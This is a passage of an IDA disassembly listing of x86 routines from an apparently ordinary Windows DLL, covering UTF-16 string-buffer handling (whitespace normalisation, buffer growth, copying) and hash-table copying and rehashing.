sub_69B30E5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B31084	dd 30h		dword_69B31088	dd 31h,	90909090hdword_69B31090	dd 0FFFFFFFFh			dd offset loc_69B3103C
		dd offset loc_69B31045

; =============== S U B	R O U T	I N E =======================================



sub_69B3109C	proc near		; CODE XREF: sub_69B3BD45+Bp
					; sub_69B48F40+16p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	eax, eax
		mov	esi, ecx
		push	eax
		mov	[esi], eax
		mov	[esi+4], eax
		mov	[esi+0Ch], al
		mov	byte ptr [esi+0Dh], 1
		call	sub_69B190D7
		mov	[esi+8], eax
		pop	esi
		retn	4
sub_69B3109C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B310BE	proc near		; CODE XREF: sub_69B2ECE4+Bp
					; sub_69B3128E+15p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		test	eax, eax
		jle	locret_69B31191
		mov	dl, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		neg	dl
		push	edi
		mov	ecx, ebx
		mov	edi, ebx
		mov	[ebp+var_4], eax
		sbb	edx, edx
		and	edx, 16h
		add	edx, 0Ah
		mov	[ebp+var_C], edx
		xor	dl, dl
		test	eax, eax
		jle	loc_69B3117E
		mov	[ebp+var_8], eax


loc_69B310FD:				; CODE XREF: sub_69B310BE+A2j
		xor	eax, eax
		mov	ax, [edi]
		mov	[ebp+var_10], eax
		movzx	eax, ax
		sub	eax, 9
		jz	short loc_69B3114D
		dec	eax
		jz	short loc_69B3111E
		sub	eax, 3
		jnz	short loc_69B31158


loc_69B31115:				; CODE XREF: sub_69B310BE+64j
		mov	ax, word ptr [ebp+var_C]
		mov	[edi], ax
		jmp	short loc_69B31158
; ---------------------------------------------------------------------------


loc_69B3111E:				; CODE XREF: sub_69B310BE+50j
		cmp	si, 0Dh
		jnz	short loc_69B31115
		mov	esi, edi
		sub	esi, ecx
		sar	esi, 1
		test	dl, dl
		jz	short loc_69B31140
		test	esi, esi
		jz	short loc_69B31140
		lea	eax, [esi+esi]
		push	eax
		push	ecx
		push	ebx
		call	sub_69B22103
		add	esp, 0Ch


loc_69B31140:				; CODE XREF: sub_69B310BE+6Ej
					; sub_69B310BE+72j
		dec	[ebp+var_4]
		lea	ebx, [ebx+esi*2]
		lea	ecx, [edi+2]
		mov	dl, 1
		jmp	short loc_69B31158
; ---------------------------------------------------------------------------


loc_69B3114D:				; CODE XREF: sub_69B310BE+4Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_69B31158
		mov	word ptr [edi],	20h


loc_69B31158:				; CODE XREF: sub_69B310BE+55j
					; sub_69B310BE+5Ej ...
		mov	esi, [ebp+var_10]
		inc	edi
		inc	edi
		dec	[ebp+var_8]
		jnz	short loc_69B310FD
		test	dl, dl
		jz	short loc_69B3117E
		cmp	ecx, edi
		jz	short loc_69B3117E
		sub	edi, ecx
		sar	edi, 1
		jz	short loc_69B3117E
		lea	eax, [edi+edi]
		push	eax
		push	ecx
		push	ebx
		call	sub_69B22103
		add	esp, 0Ch


loc_69B3117E:				; CODE XREF: sub_69B310BE+36j
					; sub_69B310BE+A6j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		pop	edi
		mov	[ecx], eax
		mov	ecx, [ebp+arg_0]
		and	word ptr [ecx+eax*2], 0
		pop	esi
		pop	ebx

locret_69B31191:			; CODE XREF: sub_69B310BE+Dj
		leave
		retn	0Ch
sub_69B310BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31195	proc near		; CODE XREF: sub_69B4AAFC+141p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		push	edi
		jle	short loc_69B311DF
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+arg_4], edi
		jle	short loc_69B311DF


loc_69B311AC:				; CODE XREF: sub_69B31195+48j
		mov	dx, [eax]
		movzx	ecx, dx
		sub	ecx, 9
		jz	short loc_69B311CF
		dec	ecx
		jz	short loc_69B311C3
		sub	ecx, 3


loc_69B311BD:				; CODE XREF: sub_69B31195+38j
		jnz	short loc_69B311D5


loc_69B311BF:				; CODE XREF: sub_69B31195+32j
					; sub_69B31195+3Ej
		mov	al, 1
		jmp	short loc_69B311E1
; ---------------------------------------------------------------------------


loc_69B311C3:				; CODE XREF: sub_69B31195+23j
		cmp	[ebp+arg_8], 0
		jz	short loc_69B311BF
		cmp	si, 0Dh
		jmp	short loc_69B311BD
; ---------------------------------------------------------------------------


loc_69B311CF:				; CODE XREF: sub_69B31195+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B311BF


loc_69B311D5:				; CODE XREF: sub_69B31195:loc_69B311BDj
		inc	eax
		inc	eax
		inc	edi
		cmp	edi, [ebp+arg_4]
		mov	esi, edx
		jl	short loc_69B311AC


loc_69B311DF:				; CODE XREF: sub_69B31195+9j
					; sub_69B31195+15j
		xor	al, al


loc_69B311E1:				; CODE XREF: sub_69B31195+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B31195	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B311E7	proc near		; CODE XREF: sub_69B312D9+80p
					; sub_69B31369+9Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B2ECB4
		xor	cl, cl
		test	eax, eax
		jnz	short loc_69B3122B
		cmp	[esi+0Ch], cl
		jz	short loc_69B31215
		cmp	[esi+0Dh], cl
		jnz	short loc_69B31215
		mov	eax, [esi+8]
		mov	edx, [esi]
		mov	eax, [eax+0Ch]
		mov	word ptr [eax+edx*2], 20h
		inc	dword ptr [esi]


loc_69B31215:				; CODE XREF: sub_69B311E7+17j
					; sub_69B311E7+1Cj
		mov	eax, [esi+8]
		mov	edx, [esi]
		mov	[esi+0Ch], cl
		mov	[esi+0Dh], cl
		mov	eax, [eax+0Ch]
		mov	[eax+edx*2], di
		inc	dword ptr [esi]
		jmp	short loc_69B3122F
; ---------------------------------------------------------------------------


loc_69B3122B:				; CODE XREF: sub_69B311E7+12j
		mov	byte ptr [esi+0Ch], 1


loc_69B3122F:				; CODE XREF: sub_69B311E7+42j
		xor	eax, eax
		cmp	[esi+0Ch], cl
		pop	edi
		setz	al
		pop	esi
		retn	4
sub_69B311E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3123C	proc near		; CODE XREF: sub_69B312AE+23p

arg_0		= dword	ptr  4

		push	ebx
		push	[esp+4+arg_0]
		mov	ebx, ecx
		push	0
		call	sub_69B190D7
		mov	ecx, [ebx]
		test	ecx, ecx
		jz	short loc_69B31260
		mov	edx, [ebx+8]
		push	esi
		mov	esi, [edx+0Ch]
		push	edi
		mov	edi, [eax+0Ch]
		rep movsw
		pop	edi
		pop	esi


loc_69B31260:				; CODE XREF: sub_69B3123C+12j
		mov	[ebx+8], eax
		pop	ebx
		retn	4
sub_69B3123C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31267	proc near		; CODE XREF: sub_69B3BD45+35p
					; sub_69B48F40+161p ...
		push	esi
		mov	esi, [ecx+4]
		lea	edx, [ecx+8]
		mov	eax, [edx]
		mov	[eax+8], esi
		mov	eax, [edx]
		mov	eax, [eax+0Ch]
		xor	esi, esi
		push	edi
		mov	edi, [ecx+4]
		mov	[eax+edi*2], si
		mov	eax, [edx]
		pop	edi
		mov	[edx], esi
		mov	[ecx], esi
		mov	[ecx+4], esi
		pop	esi
		retn
sub_69B31267	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3128E	proc near		; CODE XREF: sub_69B4AAFC+1E5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B312A8
		push	[esp+4+arg_0]
		lea	ecx, [esi+4]
		push	ecx
		push	dword ptr [eax+0Ch]
		call	sub_69B310BE


loc_69B312A8:				; CODE XREF: sub_69B3128E+8j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3128E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B312AE	proc near		; CODE XREF: sub_69B312D9+7p
					; sub_69B31369+16p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+0Ch], 0
		jz	short loc_69B312B8
		inc	[esp+arg_0]


loc_69B312B8:				; CODE XREF: sub_69B312AE+4j
		mov	eax, [ecx+8]
		mov	eax, [eax+8]
		mov	edx, [esp+arg_0]
		cmp	edx, eax
		jle	short locret_69B312D6
		lea	eax, [eax+eax+2]
		cmp	edx, eax
		jge	short loc_69B312D0
		mov	edx, eax


loc_69B312D0:				; CODE XREF: sub_69B312AE+1Ej
		push	edx
		call	sub_69B3123C

locret_69B312D6:			; CODE XREF: sub_69B312AE+16j
		retn	4
sub_69B312AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B312D9	proc near		; CODE XREF: sub_69B48F40+11Fp
					; sub_69B4A76D+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		inc	eax
		push	eax
		call	sub_69B312AE
		mov	eax, [esp+4+arg_4]
		sub	eax, 0
		jz	short loc_69B312F4
		dec	eax
		jz	short loc_69B31353
		dec	eax
		jnz	short loc_69B3134D


loc_69B312F4:				; CODE XREF: sub_69B312D9+13j
		xor	eax, eax
		cmp	[esp+4+arg_4], 2
		push	edi
		mov	edi, [esp+8+arg_0]
		jnz	short loc_69B31308
		push	edi
		call	sub_69B2ECB4


loc_69B31308:				; CODE XREF: sub_69B312D9+27j
		mov	cl, [esi+0Dh]
		test	cl, cl
		jz	short loc_69B31313
		test	eax, eax
		jnz	short loc_69B3134C


loc_69B31313:				; CODE XREF: sub_69B312D9+34j
		cmp	byte ptr [esi+0Ch], 0
		jz	short loc_69B3132D
		test	cl, cl
		jnz	short loc_69B3132D
		mov	ecx, [esi+8]
		mov	edx, [esi]
		mov	ecx, [ecx+0Ch]
		mov	word ptr [ecx+edx*2], 20h
		inc	dword ptr [esi]


loc_69B3132D:				; CODE XREF: sub_69B312D9+3Ej
					; sub_69B312D9+42j
		mov	ecx, [esi+8]
		mov	edx, [esi]
		mov	byte ptr [esi+0Ch], 0
		mov	byte ptr [esi+0Dh], 0
		mov	ecx, [ecx+0Ch]
		mov	[ecx+edx*2], di
		inc	dword ptr [esi]
		test	eax, eax
		mov	ecx, [esi]
		jnz	short loc_69B3134C
		mov	[esi+4], ecx


loc_69B3134C:				; CODE XREF: sub_69B312D9+38j
					; sub_69B312D9+6Ej
		pop	edi


loc_69B3134D:				; CODE XREF: sub_69B312D9+19j
					; sub_69B312D9+87j ...
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B31353:				; CODE XREF: sub_69B312D9+16j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B311E7
		test	al, al
		jz	short loc_69B3134D
		mov	eax, [esi]
		mov	[esi+4], eax
		jmp	short loc_69B3134D
sub_69B312D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31369	proc near		; CODE XREF: sub_69B3146D+15p
					; sub_69B3BD45+2Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	ebx, ecx
		mov	eax, [ebx]
		lea	eax, [eax+edi+1]
		push	eax
		mov	[ebp+var_4], edi
		call	sub_69B312AE
		mov	eax, [ebp+arg_8]
		sub	eax, 0
		jz	loc_69B31416
		dec	eax
		jz	short loc_69B313F2
		dec	eax
		jnz	loc_69B31464
		cmp	byte ptr [ebx+0Dh], 0
		jz	short loc_69B313CA
		test	edi, edi
		jz	loc_69B31464


loc_69B313A8:				; CODE XREF: sub_69B31369+57j
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B313C2
		add	[ebp+arg_0], 2
		dec	edi
		mov	[ebp+arg_4], edi
		jnz	short loc_69B313A8


loc_69B313C2:				; CODE XREF: sub_69B31369+4Dj
		test	edi, edi
		jz	loc_69B31464


loc_69B313CA:				; CODE XREF: sub_69B31369+35j
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+edi*2]


loc_69B313D0:				; CODE XREF: sub_69B31369+76j
		dec	esi
		xor	eax, eax
		dec	esi
		mov	ax, [esi]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jnz	short loc_69B313D0
		sub	esi, [ebp+arg_0]
		sar	esi, 1
		inc	esi
		mov	[ebp+var_4], esi
		jnz	short loc_69B31416
		mov	byte ptr [ebx+0Ch], 1
		jmp	short loc_69B31464
; ---------------------------------------------------------------------------


loc_69B313F2:				; CODE XREF: sub_69B31369+28j
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_69B31464
		test	edi, edi
		jle	short loc_69B3140F


loc_69B313FD:				; CODE XREF: sub_69B31369+A4j
		xor	eax, eax
		mov	ax, [esi]
		mov	ecx, ebx
		push	eax
		call	sub_69B311E7
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_69B313FD


loc_69B3140F:				; CODE XREF: sub_69B31369+92j
		mov	eax, [ebx]
		mov	[ebx+4], eax
		jmp	short loc_69B31464
; ---------------------------------------------------------------------------


loc_69B31416:				; CODE XREF: sub_69B31369+21j
					; sub_69B31369+81j
		cmp	byte ptr [ebx+0Ch], 0
		jz	short loc_69B31432
		cmp	byte ptr [ebx+0Dh], 0
		jnz	short loc_69B31432
		mov	eax, [ebx+8]
		mov	ecx, [ebx]
		mov	eax, [eax+0Ch]
		mov	word ptr [eax+ecx*2], 20h
		inc	dword ptr [ebx]


loc_69B31432:				; CODE XREF: sub_69B31369+B1j
					; sub_69B31369+B7j
		test	edi, edi
		mov	byte ptr [ebx+0Ch], 0
		mov	byte ptr [ebx+0Dh], 0
		jz	short loc_69B31464
		cmp	[ebp+var_4], 0
		mov	eax, [ebx+8]
		mov	edx, [ebx]
		mov	eax, [eax+0Ch]
		mov	esi, [ebp+arg_0]
		mov	ecx, edi
		lea	edi, [eax+edx*2]
		rep movsw
		jz	short loc_69B3145F
		mov	eax, [ebx]
		add	eax, [ebp+var_4]
		mov	[ebx+4], eax


loc_69B3145F:				; CODE XREF: sub_69B31369+ECj
		mov	eax, [ebp+arg_4]
		add	[ebx], eax


loc_69B31464:				; CODE XREF: sub_69B31369+2Bj
					; sub_69B31369+39j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	0Ch
sub_69B31369	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3146D	proc near		; CODE XREF: sub_69B48F40+E5p
					; sub_69B48F40+153p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		test	edx, edx
		jz	short loc_69B3148A
		push	esi
		push	[esp+4+arg_4]
		mov	esi, [edx+8]
		mov	edx, [edx+0Ch]
		push	esi
		push	edx
		call	sub_69B31369
		pop	esi
		jmp	short locret_69B3148C
; ---------------------------------------------------------------------------


loc_69B3148A:				; CODE XREF: sub_69B3146D+6j
		mov	eax, ecx

locret_69B3148C:			; CODE XREF: sub_69B3146D+1Bj
		retn	8
sub_69B3146D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3148F	proc near		; DATA XREF: .text:69B1C2ACo
		mov	eax, offset off_69B26228
		retn
sub_69B3148F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31495	proc near		; DATA XREF: .text:69B18230o
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+8]
		jmp	short loc_69B314AB
; ---------------------------------------------------------------------------


loc_69B3149E:				; CODE XREF: sub_69B31495+1Fj
		push	esi
		call	sub_69B171A0
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_69B314BB
		inc	esi


loc_69B314AB:				; CODE XREF: sub_69B31495+7j
		mov	eax, [edi+4]
		mov	ecx, [eax+20h]
		cmp	esi, [ecx+8]
		jl	short loc_69B3149E
		xor	al, al


loc_69B314B8:				; CODE XREF: sub_69B31495+28j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B314BB:				; CODE XREF: sub_69B31495+13j
		mov	al, 1
		jmp	short loc_69B314B8
sub_69B31495	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B314BF	proc near		; CODE XREF: sub_69B31501+8p
					; sub_69B31510+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+10h]
		jmp	short loc_69B314E6
; ---------------------------------------------------------------------------


loc_69B314C8:				; CODE XREF: sub_69B314BF+30j
		push	esi
		call	sub_69B171A0
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B314E5
		mov	ecx, [esp+8+arg_0]
		mov	[ecx], esi
		mov	ecx, [edi+14h]
		sub	ecx, 0
		jz	short loc_69B314FD
		dec	ecx
		jz	short loc_69B314F8


loc_69B314E5:				; CODE XREF: sub_69B314BF+13j
		inc	esi


loc_69B314E6:				; CODE XREF: sub_69B314BF+7j
		mov	eax, [edi+0Ch]
		mov	ecx, [eax+20h]
		cmp	esi, [ecx+8]
		jl	short loc_69B314C8
		xor	eax, eax


loc_69B314F3:				; CODE XREF: sub_69B314BF+3Cj
					; sub_69B314BF+40j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B314F8:				; CODE XREF: sub_69B314BF+24j
		mov	eax, [eax+4]
		jmp	short loc_69B314F3
; ---------------------------------------------------------------------------


loc_69B314FD:				; CODE XREF: sub_69B314BF+21j
		mov	eax, [eax]
		jmp	short loc_69B314F3
sub_69B314BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31501	proc near		; DATA XREF: .text:69B18234o

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	eax
		add	ecx, 0FFFFFFF8h
		call	sub_69B314BF
		pop	ecx
		retn
sub_69B31501	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31510	proc near		; DATA XREF: .text:69B18238o
		push	esi
		lea	esi, [ecx+8]
		push	esi
		add	ecx, 0FFFFFFF8h
		call	sub_69B314BF
		inc	dword ptr [esi]
		pop	esi
		retn
sub_69B31510	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31521	proc near		; CODE XREF: sub_69B315C2+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		mov	dword ptr [esi], offset	off_69B1C290
		and	dword ptr [esi+20h], 0
		and	dword ptr [esi+24h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B31521	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31541	proc near		; CODE XREF: sub_69B315F1+92p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	esi
		mov	edi, ecx
		call	sub_69B4D414
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	[esp+0Ch+arg_0]
		call	sub_69B18ACB
		mov	eax, [esi+8]
		mov	[edi+8], eax
		mov	eax, [esi+0Ch]
		mov	[edi+0Ch], eax
		pop	edi
		pop	esi
		retn	8
sub_69B31541	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3156E	proc near		; CODE XREF: sub_69B2F991+2Ap
					; sub_69B2FA42+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B31585
		mov	ecx, eax
		call	sub_69B181CB
		mov	esi, eax
		jmp	short loc_69B31587
; ---------------------------------------------------------------------------


loc_69B31585:				; CODE XREF: sub_69B3156E+Aj
		xor	esi, esi


loc_69B31587:				; CODE XREF: sub_69B3156E+15j
		push	[esp+4+arg_0]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esp+4+arg_4]
		and	dword ptr [esi+10h], 0
		mov	[esi+14h], eax
		lea	eax, [esi+8]
		pop	esi
		retn	8
sub_69B3156E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B315A6	proc near		; CODE XREF: sub_69B4F636+9p
					; sub_69B5B040+6Ap ...
		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B315BF
		push	0
		push	1
		push	10h
		mov	ecx, eax
		call	sub_69B1A799
		retn
; ---------------------------------------------------------------------------


loc_69B315BF:				; CODE XREF: sub_69B315A6+9j
		xor	eax, eax
		retn
sub_69B315A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B315C2	proc near		; DATA XREF: .text:69B2622Co
		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B315D7
		push	0
		mov	ecx, eax
		call	sub_69B31521
		retn
; ---------------------------------------------------------------------------


loc_69B315D7:				; CODE XREF: sub_69B315C2+9j
		xor	eax, eax
		retn
sub_69B315C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B315DA	proc near		; CODE XREF: sub_69B1A5C0+74p
					; sub_69B1A5C0+86p ...
		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B315EC
		mov	ecx, eax
		jmp	sub_69B1A799
; ---------------------------------------------------------------------------


loc_69B315EC:				; CODE XREF: sub_69B315DA+9j
		xor	eax, eax
		retn	0Ch
sub_69B315DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B315F1	proc near		; DATA XREF: .text:69B1C248o
					; .text:69B1C2B8o

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	edi, eax
		mov	eax, [esi+20h]
		push	dword ptr [eax+8]
		push	10h
		call	sub_69B11CFE
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_69B31626
		mov	ecx, ebx
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B171C8
		mov	[esp+10h+var_4], ebx
		jmp	short loc_69B3162B
; ---------------------------------------------------------------------------


loc_69B31626:				; CODE XREF: sub_69B315F1+20j
		and	[esp+10h+var_4], 0


loc_69B3162B:				; CODE XREF: sub_69B315F1+33j
		mov	al, [esi+8]
		push	[esp+10h+var_4]
		mov	[edi+8], al
		mov	eax, [esi+0Ch]
		mov	[edi+0Ch], eax
		mov	eax, [esi+10h]
		mov	[edi+10h], eax
		mov	eax, [esi+14h]
		mov	[edi+14h], eax
		mov	eax, [esi+18h]
		mov	[edi+18h], eax
		mov	eax, [esi+1Ch]
		mov	[edi+1Ch], eax
		lea	eax, [edi+20h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+20h]
		xor	ebx, ebx
		cmp	[ecx+8], ebx
		jle	short loc_69B31692
		push	ebp


loc_69B31667:				; CODE XREF: sub_69B315F1+9Ej
		push	ebx
		call	sub_69B171A0
		mov	ecx, [esp+14h+var_4]
		push	ebx
		mov	ebp, eax
		call	sub_69B171A0
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_69B31688
		push	ebp
		push	esi
		mov	ecx, eax
		call	sub_69B31541


loc_69B31688:				; CODE XREF: sub_69B315F1+8Cj
		mov	ecx, [esi+20h]
		inc	ebx
		cmp	ebx, [ecx+8]
		jl	short loc_69B31667
		pop	ebp


loc_69B31692:				; CODE XREF: sub_69B315F1+73j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_69B315F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31699	proc near		; CODE XREF: sub_69B18A22+B62Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+20h]
		mov	eax, [edi]
		mov	[ebp+var_10], eax
		mov	eax, [eax+8]
		lea	ebx, [eax+eax]
		push	ebx
		push	10h
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], ebx
		call	sub_69B11CFE
		pop	ecx
		pop	ecx
		mov	ecx, eax
		test	ecx, ecx
		mov	[ebp+var_4], ecx
		jz	short loc_69B316DE
		call	sub_69B19118
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_69B171C8
		mov	[ebp+var_4], eax
		jmp	short loc_69B316E2
; ---------------------------------------------------------------------------


loc_69B316DE:				; CODE XREF: sub_69B31699+30j
		and	[ebp+var_4], 0


loc_69B316E2:				; CODE XREF: sub_69B31699+43j
		fild	[ebp+var_C]
		and	dword ptr [esi+0Ch], 0
		fld	st
		fmul	dword ptr [esi+10h]
		call	sub_69B1A82C
		fmul	ds:flt_69B122A0
		mov	[esi+14h], eax
		call	sub_69B1A82C
		push	[ebp+var_4]
		mov	[esi+18h], eax
		push	edi
		mov	[esi+1Ch], ebx
		call	sub_69B17320
		xor	ebx, ebx
		cmp	[ebp+var_8], ebx
		jle	short loc_69B31744


loc_69B31717:				; CODE XREF: sub_69B31699+A9j
		mov	ecx, [ebp+var_10]
		push	ebx
		call	sub_69B171A0
		mov	edi, eax
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B3173E
		push	0
		push	dword ptr [edi+4]
		mov	ecx, esi
		push	dword ptr [edi]
		call	sub_69B18A22
		push	esi
		mov	ecx, edi
		call	sub_69B17EA0


loc_69B3173E:				; CODE XREF: sub_69B31699+8Dj
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jl	short loc_69B31717


loc_69B31744:				; CODE XREF: sub_69B31699+7Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B31699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B31749	proc near		; CODE XREF: sub_69B4E185+3Dp
					; sub_69B8BF13+6Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	edi, eax
		mov	eax, [esi+20h]
		push	dword ptr [eax+8]
		push	10h
		call	sub_69B11CFE
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_69B31782
		mov	ecx, ebx
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B171C8
		mov	[ebp+var_8], ebx
		jmp	short loc_69B31786
; ---------------------------------------------------------------------------


loc_69B31782:				; CODE XREF: sub_69B31749+25j
		and	[ebp+var_8], 0


loc_69B31786:				; CODE XREF: sub_69B31749+37j
		mov	al, [esi+8]
		push	[ebp+var_8]
		mov	[edi+8], al
		mov	eax, [esi+0Ch]
		mov	[edi+0Ch], eax
		mov	eax, [esi+10h]
		mov	[edi+10h], eax
		mov	eax, [esi+14h]
		mov	[edi+14h], eax
		mov	eax, [esi+18h]
		mov	[edi+18h], eax
		mov	eax, [esi+1Ch]
		mov	[edi+1Ch], eax
		lea	eax, [edi+20h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+20h]
		and	[ebp+var_4], 0
		cmp	dword ptr [ecx+8], 0
		jle	short loc_69B31824


loc_69B317C3:				; CODE XREF: sub_69B31749+D9j
		push	[ebp+var_4]
		call	sub_69B171A0
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	ebx, eax
		call	sub_69B171A0
		cmp	dword ptr [ebx+0Ch], 0
		mov	[ebp+var_14], eax
		jz	short loc_69B31816
		mov	eax, [ebx]
		push	[ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebx+4]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	[ebp+arg_0]
		push	dword ptr [ebx+8]
		mov	ecx, [ebp+var_14]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	edi
		call	sub_69B18AA0
		mov	eax, [ebx+0Ch]
		mov	ecx, [ebp+var_14]
		mov	[ecx+0Ch], eax


loc_69B31816:				; CODE XREF: sub_69B31749+96j
		inc	[ebp+var_4]
		mov	ecx, [esi+20h]
		mov	eax, [ebp+var_4]
		cmp	eax, [ecx+8]
		jl	short loc_69B317C3


loc_69B31824:				; CODE XREF: sub_69B31749+78j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B31749	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3182D	proc near		; CODE XREF: sub_69B17064+60p
					; sub_69B4D62C+169p ...
		push	10h
		push	offset dword_69B31890
		call	sub_69B19C5C
		mov	esi, ecx
		push	dword ptr [esi+24h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		push	0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B18A22
		mov	[ebp-20h], eax
